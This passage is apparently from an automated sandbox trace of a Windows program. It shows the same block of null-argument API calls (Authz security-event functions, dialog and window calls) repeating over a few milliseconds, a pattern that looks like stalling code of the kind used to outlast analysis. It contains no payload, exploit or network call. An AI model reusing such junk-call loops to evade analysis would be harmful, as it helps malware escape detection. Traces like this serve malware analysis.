dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.617] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.617] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.617] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.617] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.617] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.617] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.617] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.617] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.617] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.617] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.617] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.617] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.617] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.617] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.617] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.617] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.617] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.617] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.617] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.617] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.617] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.617] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.617] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.618] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.618] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.618] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.618] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.618] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.618] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.618] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.618] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.618] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.618] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.618] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.618] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.618] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.618] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.618] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.618] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.618] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.618] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.618] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.618] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.618] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.618] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.618] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.618] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.618] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.618] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.618] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.618] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.618] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.618] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.618] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.618] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.618] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.618] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.618] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.618] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.618] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.618] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.618] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.618] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.619] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.619] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.619] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.619] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.619] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.619] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.619] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.619] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.619] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.619] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.619] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.619] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.619] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.619] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.619] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.619] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.619] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.619] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.619] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.619] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.619] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.619] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.619] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.619] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.619] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.619] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.619] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.619] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.619] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.619] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.619] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.619] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.619] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.619] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.619] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.619] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.619] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.619] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.619] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.619] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.619] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.619] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.620] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.620] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.620] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.620] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.620] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.620] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.620] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.620] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.620] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.620] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.620] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.620] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.620] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.620] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.620] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.620] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.620] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.620] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.620] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.620] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.620] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.620] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.620] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.620] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.620] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.620] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.620] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.620] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.620] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.620] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.620] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.620] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.620] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.620] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.620] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.620] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.620] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.620] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.620] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.620] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.620] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.620] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.621] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.621] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.621] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.621] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.621] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.621] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.621] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.621] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.621] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.621] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.621] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.621] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.621] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.621] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.621] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.621] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.621] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.621] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.621] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.621] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.621] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.621] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.621] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.621] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.621] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.621] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.621] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.621] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.621] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.621] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.621] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.621] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.621] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.621] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.621] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.621] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.621] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.621] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.621] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.621] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.621] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.622] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.622] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.622] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.622] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.622] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.622] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.622] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.622] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.622] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.622] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.622] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.622] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.622] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.622] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.622] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.622] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.622] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.622] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.622] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.622] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.622] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.622] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.622] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.622] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.622] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.622] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.622] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.622] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.622] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.622] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.622] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.622] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.622] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.622] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.622] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.622] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.622] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.622] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.622] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.622] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.623] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.623] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.623] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.623] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.623] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.623] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.623] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.623] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.623] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.623] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.623] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.623] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.623] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.623] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.623] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.623] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.623] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.623] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.623] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.623] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.623] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.623] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.623] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.623] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.623] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.623] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.623] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.623] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.623] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.623] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.623] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.623] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.623] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.623] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.623] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.623] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.623] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.623] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.623] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.623] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.623] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.624] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.624] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.624] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.624] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.624] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.624] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.624] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.624] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.624] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.624] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.624] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.624] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 